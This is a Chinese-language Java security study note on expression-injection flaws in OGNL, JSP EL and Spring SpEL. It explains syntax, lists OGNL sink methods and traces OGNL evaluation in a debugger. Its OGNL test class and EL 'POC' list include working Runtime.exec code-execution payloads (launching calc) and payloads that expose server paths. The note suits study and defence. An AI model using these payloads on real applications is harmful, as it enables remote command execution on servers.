OGNL

基础

OGNL表达式的作用
  • 支持对象方法的调用 ObjectName.methodName()
  • 静态方法的调用和值得访问 @java.lang.String@format('aa%s', 'RoboTerh'), 这里的包名必须要是完整的包名,不能只使用String
  • 支持变量赋值操作和表达式串联
  • 访问OGNL上下文,和ActionContext
  • 直接new创建一个对象
ActionContext

是一个上下文对象,对应OGNL的context

除了三个常见的作用域requestsessionapplication外,还有以下三个作用域:

  • attr:保存着上面三个作用域的所有属性,如果有重复的则以request域中的属性为基准;
  • paramters:保存的是表单提交的参数;
  • VALUE_STACK:值栈,保存着valueStack对象,也就是说可以通过ActionContext访问到valueStack中的值
ValueStack

是OGNL表达式存取数据的地方

获取值栈的方式
  1. 在request作用域中获得值栈

ValueStack对象在request范围内的存储方式为request.setAttribute("struts.valueStack",valuestack),可以通过如下方式从request中取出值栈的信息。

//获取 ValueStack 对象,通过 request 对象获取
ValueStack valueStack = (ValueStack)ServletActionContext.getRequest()
            .getAttribute(ServletActionContext.STRUTS_VALUESTACK_KEY);

在上述示例代码中,ServletActionContext.STRUTS_VALUESTACK_KEY是ServletActionContext类中的常量,它的值为struts.valueStack。

  1. 在ActionContext中获得值栈

在使用Struts2框架时,可以使用OGNL操作Context对象从ValueStack中存取数据,也就是说,可以从Context对象中获取ValueStack对象。实际上,Struts2框架中的Context对象就是ActionContext。

ActionContext获取ValueStack对象的方式如下所示:

//通过 ActionContext 获取 valueStack 对象
ValueStack valueStack = ActionContext.getContext().getValueStack();

ActionContext对象是在StrutsPrepareAndExcuteFilter的doFilter()方法中被创建的,在源码中用于创建ActionContext对象的createActionContext()方法内可以找到获取的ValueStack对象的信息。

基本语法
对象树访问

利用.进行连接

对变量的访问

在前面加上#

数组,对象
//例如
group.users[0]
#session['mysession']
//构造list
{"green", "red", "blue"}
//构造map
#{"key1":"value1", "key2":"value2"}
//新建对象
new Java.net.URL("xxx");
投影和选择语法

投影:

group.users.{username}获取group中所有users的username

选择:

collection.{X YY}, X是一个选择操作符,YY是选择用的逻辑表达式

选择操作符:

  • ?选择满足条件的所有元素
  • ^选择满足条件的第一个元素
  • $选择满足条件的最后一个元素
# % $
  1. #符主要有三种用途:
  • 访问非根对象属性,即访问OGNL上下文和Action上下文,由于Struts2中值栈被视为根对象,所以访问其他非根对象时需要加#前缀,#相当于ActionContext.getContext()
  • 用于过滤和投影(projecting)集合,如books.{? #this.price<100}
  • 用于构造Map,如#{'foo1':'bar1', 'foo2':'bar2'}
  1. %符

%符的用途是在标志的属性为字符串类型时,告诉执行环境%{}里的是OGNL表达式并计算表达式的值。

  1. $符

$符的主要作用是在相关配置文件中引入OGNL表达式,让其在配置文件中也能解析OGNL表达式。(换句话说,$用于在配置文件中获取ValueStack的值用的

能解析OGNL的api

类名 方法名
com.opensymphony.xwork2.util.TextParseUtil translateVariables,translateVariablesCollection
com.opensymphony.xwork2.util.TextParser evaluate
com.opensymphony.xwork2.util.OgnlTextParser evaluate
com.opensymphony.xwork2.ognl.OgnlUtil setProperties,setProperty,setValue,getValue,callMethod,compile
org.apache.struts2.util.VelocityStrutsUtil evaluate
org.apache.struts2.util.StrutsUtil isTrue,findString,findValue,getText,translateVariables,makeSelectList
org.apache.struts2.views.jsp.ui.OgnlTool findValue
com.opensymphony.xwork2.util.ValueStack findString,findValue,setValue,setParameter
com.opensymphony.xwork2.ognl.OgnlValueStack findString,findValue,setValue,setParameter,trySetValue
ognl.Ognl parseExpression,getValue,setValue

表达式注入漏洞

如果我们能够控制ognl表达式,就可以达到恶意目的

package pers.ognl;

import ognl.Ognl;
import ognl.OgnlContext;
import ognl.OgnlException;

import java.io.IOException;

public class Test {
    public static void main(String[] args) throws OgnlException, IOException {
        //创建一个上下文对象
        OgnlContext context = new OgnlContext();

        //getValue触发漏洞
        //Ognl.getValue("@java.lang.Runtime@getRuntime().exec('calc')", context, context.getRoot());

        //setValue触发漏洞
        Ognl.setValue(Runtime.getRuntime().exec("calc"), context, context.getRoot());
    }
}

在上面的表格中,就提到过了,Ognl.getValue, Ognl.setValue都可以进行ognl表达式注入

这里也成功弹出了计算器

调式分析栈调用

首先在getValue方法前面打上断点

getValue方法中使用parseExpression来处理我们的表达式,跟进他

image-20220407182022127

将其转化为了ASTChain类型的tree

image-20220407182531485

之后将转化为node类型的tree继续调用getValue方法

image-20220407182811588

image-20220407182916747

这里的this,就是我们需要执行的恶意命令,我们调用evaluateGetValueBody方法来处理它,跟进

image-20220407183115286

之后调用getValueBody来处理

image-20220407183219257

在这里将他拆成了两部分

image-20220407183430405

首先处理的是前半部分,this._children[i]就是前半部分,调用它的SimpleNode#getValue方法,并且将类名和方法名分割开了,这里的result就是Runtime类名

之后就是通过反射进行获取类名,和方法名,进行执行

简单地说,OGNL表达式的getValue()解析过程就是先将整个OGNL表达式按照语法树分为几个子节点树,然后循环遍历解析各个子节点树上的OGNL表达式,其中通过Method.invoke()即反射的方式实现任意类方法调用,将各个节点解析获取到的类方法通过ASTChain链的方式串连起来实现完整的表达式解析、得到完整的类方法调用。

参考

[OGNL表达式注入漏洞总结 Mi1k7ea ]

EL

基础

基本语法

JSP中访问模型对象是通过EL表达式的语法来表达. 所有EL表达式的格式都是以${}表示. 例如, ${userinfo}代表获取变量userinfo的值. 当EL表达式中的变量不给定范围时, 则默认在page范围查找, 然后依次在requestsessionapplication范围查找. 也可以用范围作为前缀表示属于哪个范围的变量, 例如: ${pageScope. userinfo}表示访问page范围中的userinfo变量.

EL表达式提供.[]两种运算符来存取数据. 当要存取的属性名称中包含一些特殊字符, 如.-等并非字母或数字的符号, 就一定要使用[]. 例如: ${user.My-Name}应当改为${user["My-Name"]}. 如果要动态取值时, 就可以用[]来做, 而.无法做到动态取值, 例如: ${sessionScope.user[data]}data是一个变量.

隐式对象

JSP表达式语言定义了一组隐式对象, 其中许多对象在JSP Scriplet和表达式中可用

术语 定义
pageContext JSP页的上下文, 可以用于访问JSP隐式对象, 如请求、响应、会话、输出、servletContext等. 例如, ${pageContext.response}为页面的响应对象赋值.

此外, 还提供几个隐式对象, 允许对以下对象进行简易访问:

术语 定义
param 将请求参数名称映射到单个字符串参数值(通过调用ServletRequest.getParameter(String name)获得). getParameter(String)方法返回带有特定名称的参数. 表达式${param.name}相当于request.getParameter(name).
paramValues 将请求参数名称映射到一个数值数组(通过调用ServletRequest.getParameter(String name)获得). 它与param隐式对象非常类似, 但它检索一个字符串数组而不是单个值. 表达式${paramvalues.name}相当于request.getParamterValues(name).
header 将请求头名称映射到单个字符串头值(通过调用ServletRequest.getHeader(String name)获得). 表达式${header.name}相当于request.getHeader(name).
headerValues 将请求头名称映射到一个数值数组(通过调用ServletRequest.getHeaders(String)获得). 它与头隐式对象非常类似, 表达式${headerValues.name}相当于request.getHeaderValues(name).
cookie cookie名称映射到单个cookie对象. 向服务器发出的客户端请求可以获得一个或多个cookie. 表达式${cookie.name.value}返回带有特定名称的第一个cookie值. 如果请求包含多个同名的cookie, 则应该使用${headerValues.name}表达式.
initParam 将上下文初始化参数名称映射到单个值(通过调用ServletContext.getInitparameter(String name)获得).

除了上述两种类型的隐式对象之外, 还有些对象允许访问多种范围的变量, 如Web 上下文会话请求页面:

术语 定义
pageScope 将页面范围的变量名称映射到其值. 例如, EL表达式可以使用${pageScope.objectName}访问一个JSP中页面范围的对象, 还可以使用${pageScope.objectName.attributeName}访问对象的属性.
requestScope 将请求范围的变量名称映射到其值, 该对象允许访问请求对象的属性. 例如, EL表达式可以使用${requestScope.objectName}访问一个JSP请求范围的对象, 还可以使用${requestScope.objectName.attributeName}访问对象的属性.
sessionScope 将会话范围的变量名称映射到其值, 该对象允许访问会话对象的属性. 例如, ${sessionScope.name}.
applicationScope 将应用程序范围的变量名称映射到其值, 该隐式对象允许访问应用程序范围的对象.
函数

EL允许您在表达式中使用函数, 这些函数必须被定义在自定义标签库中. 要使用任何标签库中的函数, 需要将这些库安装在服务器中, 然后使用<taglib>标签在JSP文件中包含这些库. 函数的使用语法如下:

${ns:func(param1, param2, ...)}

ns: 命名空间
func: 指的是函数的名称
paramx: 参数
调用java方法

先新建一个ELFunc类, 其中定义的doSomething函数用于输出Hello, xxx!:

package h3rmek1t.javawebsecurity;

/**
 * @Author: H3rmesk1t
 * @Data: 2022/3/17 11:24 下午
 */
public class ELFunc {

    public static String doSomething(String str) {

        return "Hello, " + str + "!";
    }
}

接着在WEB-INF文件夹下新建test.tld文件, 其中指定执行的Java方法及其URI地址:

<?xml version="1.0" encoding="UTF-8"?>
<taglib version="2.0" xmlns="http://java.sun.com/xml/ns/j2ee"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-jsptaglibrary_2_0.xsd">
    <tlib-version>1.0</tlib-version>
    <short-name>ELFunc</short-name>
    <uri>http://www.h3rmesk1t.com/ELFunc</uri>
    <function>
        <name>doSomething</name>
        <function-class>h3rmek1t.javawebsecurity.ELFunc</function-class>
        <function-signature> java.lang.String doSomething(java.lang.String)</function-signature>
    </function>
</taglib>

JSP文件中, 先头部导入taglib标签库, URItest.tld中设置的URI地址, prefixtest.tld中设置的short-name, 然后直接在EL表达式中使用类名:方法名()的形式来调用该类方法即可:

<%@taglib uri="http://www.h3rmesk1t.com/ELFunc" prefix="ELFunc"%>
${ELFunc:doSomething("h3rmesk1t")}
禁用EL表达式

全局禁用 EL 表达式

web.xml中进行如下配置:

<jsp-config>
    <jsp-property-group>
        <url-pattern>*.jsp</url-pattern>
        <el-ignored>true</el-ignored>
    </jsp-property-group>
</jsp-config>

单个文件禁用 EL 表达式

JSP文件中可以有如下定义来表示是否禁用EL表达式, true表示禁止, false表示不禁止, 在JSP2.0中默认的启用EL表达式.

<%@ page isELIgnored="true" %>

POC

// 对应于 JSP 页面中的 pageContext 对象.
${pageContext}

// 获取 Web 路径.
${pageContext.getSession().getServletContext().getClassLoader().getResource("")}

// 文件头参数.
${header}

// 获取 webRoot.
${applicationScope}

// 执行命令.
${pageContext.setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc.exe"))}

参考

Learning_summary/Java安全学习—EL表达式注入.md at main · H3rmesk1t/Learning_summary (github.com)

spel

基础

  • .的用法
Expression exp = parser.parseExpression("'Hello World'.concat('!')")
Expression exp = parser.parseExpression("'Hello World'.bytes")
Expression exp = parser.parseExpression("'Hello World'.bytes.length")
  • EvaluationContext 接口

当计算表达式解析properties, methods, fields,并帮助执行类型转换, 使用接口EvaluationContext 这是一个开箱即用的实现, StandardEvaluationContext,使用反射来操纵对象, 缓存java.lang.reflectMethodField,和Constructor实例 提高性能。

StandardEvaluationContext是你可以指定root object通过使用 setRootObject()或传递root object到构造函数. 你也可以指定变量和函数 使用方法’的setVariable()registerFunction()`的表达式

  • 基于XML的配置
<property name="randomNumber" value="#{ T(java.lang.Math).random() * 100.0 }"/>
<!--systemProperties是一个预定义的-->
<property name="defaultLocale" value="#{ systemProperties['user.region'] }"/>
<!--参考其他的bean属性的名字-->
<property name="initialShapeSeed" value="{ numberGuess.randomNumber }"/>
  • 基于注解的配置
//@ Value注解可以放在字段,方法和方法/​​构造 参数里,以指定默认值。
@Value("#{ systemProperties['user.region'] }")
private String defaultLocale;

变量可以在使用语法#variableName表达引用

变量#this 始终定义和指向的是当前的执行对象 (不支持对其中不合格的引用解析)。变量#root总是 定义和指向root context object

函数的使用

您可以通过注册,可以在该调用用户自定义函数扩展SpEL 表达式字符串。该函数注册到’StandardEvaluationContext`使用 该方法。

public void registerFunction(String name, Method m)

引用一个Java方法提供了函数的实现。举个例子 一个实用的方法来扭转字符串如下所示。

public abstract class StringUtils {

    public static String reverseString(String input) {
        StringBuilder backwards = new StringBuilder();
        for (int i = 0; i < input.length(); i++)
            backwards.append(input.charAt(input.length() - 1 - i));
        }
        return backwards.toString();
    }
}

这个方法在解析器上线文当中被注册,作为字符串被调用。

ExpressionParser parser = new SpelExpressionParser();
StandardEvaluationContext context = new StandardEvaluationContext();

context.registerFunction("reverseString",
    StringUtils.class.getDeclaredMethod("reverseString", new Class[] { String.class }));

String helloWorldReversed = parser.parseExpression(
    "#reverseString('hello')").getValue(context, String.class);

如果解析上下文已经配置,那么bean解析器能够 从表达式使用(@)符号查找bean类。

ExpressionParser parser = new SpelExpressionParser();
StandardEvaluationContext context = new StandardEvaluationContext();
context.setBeanResolver(new MyBeanResolver());

// This will end up calling resolve(context,"foo") on MyBeanResolver during evaluation
Object bean = parser.parseExpression("@foo").getValue(context);

8. Spring 表达式语言 (SpEL) (itmyhome.com)